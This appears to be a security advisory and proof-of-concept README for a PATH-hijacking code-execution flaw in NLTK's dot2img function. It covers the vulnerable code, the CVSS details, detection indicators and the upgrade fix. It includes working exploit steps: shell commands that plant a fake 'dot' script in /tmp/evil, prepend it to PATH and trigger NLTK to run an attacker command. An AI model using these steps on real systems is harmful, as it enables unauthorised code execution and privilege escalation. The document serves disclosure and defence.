
NLTK — dot2img runs Graphviz outside trusted-exec check, enabling local code execution via PATH hijacking. High.
NLTK <= 3.9.1 calls subprocess.call(['dot', ...]) in nltk.draw.util.dot2img()
without an absolute path, relying on the OS PATH environment variable to locate
the Graphviz dot binary. If an attacker can write a file named dot to any
directory that appears before Graphviz in PATH, that malicious binary executes
instead, achieving code execution in the context of the Python process that calls
NLTK's drawing functions.
| Field | Value |
|---|---|
| CVE | CVE-2026-128134 |
| CVSS 3.1 | 7.3 High — AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H |
| CWE | CWE-427 (Uncontrolled Search Path Element) |
| Affected | NLTK <= 3.9.1 |
| Patch | NLTK 3.9.2 |
| Auth Required | Low (write access to a PATH-prepended directory) |
| Disclosed | 2026-11-19 |
The vulnerable call in nltk/draw/util.py:
# VULNERABLE — nltk/draw/util.py (<=3.9.1)
def dot2img(dot_source, output_format="png"):
with tempfile.NamedTemporaryFile(suffix=".dot", delete=False) as f:
f.write(dot_source.encode())
dot_file = f.name
out_file = dot_file.replace(".dot", f".{output_format}")
# CWE-427: 'dot' resolved from PATH, not from an absolute path
subprocess.call(['dot', f'-T{output_format}', '-o', out_file, dot_file])
return out_file
The fix in 3.9.2 uses shutil.which('dot') to resolve the binary and validates
the returned path is under the expected Graphviz installation directory.
flowchart LR
A([Attacker]) -->|create malicious dot binary in writable dir| B[Filesystem]
B -->|prepend dir to PATH env var| C[Process Environment]
C -->|any code triggers dot2img| D[NLTK draw module]
D -->|subprocess.call dot| E[Malicious dot binary]
E -->|RCE as Python process user| F([Code Execution])
style A fill:#3d1a1a,stroke:#f85149,color:#f85149
style F fill:#1a1f2e,stroke:#58a6ff,color:#58a6ff
pip install -r requirements.txt
python poc.py --demonstrate
python poc.py --plant-dir /tmp/evil --cmd "id > /tmp/pwned.txt"
python poc.py --plant-dir /tmp/evil --cmd "id > /tmp/pwned.txt" --trigger
python poc.py --check-only
# 1. Create malicious dot script
mkdir -p /tmp/evil
cat > /tmp/evil/dot << 'EOF'
#!/bin/sh
id > /tmp/pwned_by_nltk.txt
# Also call the real dot so NLTK doesn't crash
/usr/bin/dot "$@" 2>/dev/null
EOF
chmod +x /tmp/evil/dot
# 2. Prepend to PATH and trigger NLTK
export PATH="/tmp/evil:$PATH"
python3 -c "
import nltk
from nltk.draw.util import dot2img
dot2img('digraph G { a -> b }')
"
cat /tmp/pwned_by_nltk.txt
| Flag | Description |
|---|---|
--demonstrate | Full self-contained exploitation demo in temp dir |
--plant-dir DIR | Directory to write the malicious dot binary |
--cmd STR | Command the malicious dot will execute |
--trigger | Actually call dot2img to trigger execution after planting |
--check-only | Check if NLTK and Graphviz are installed, assess PATH risk |
-v / --verbose | Verbose output |
| Indicator | Notes |
|---|---|
A file named dot (executable) in a user-writable directory that is in PATH | File integrity monitoring |
dot process spawned from a non-standard path | EDR / process monitoring |
NLTK draw.util.dot2img calls where PATH includes user-writable directories | Static code analysis / runtime hook |
A local attacker who can write to a PATH-prepended directory can achieve code
execution in the context of any process that calls NLTK's draw functions, escalating
privileges if the NLTK consumer runs as a higher-privilege user.
| Action | Detail |
|---|---|
| Upgrade | Update NLTK to 3.9.2 or later |
| Harden PATH | Ensure user-writable directories are not in PATH |
| Absolute path | In custom NLTK consumers, resolve dot with shutil.which and validate before use |
Disclaimer: Published for authorised security research only. Use exclusively on systems you own or have explicit written permission to test.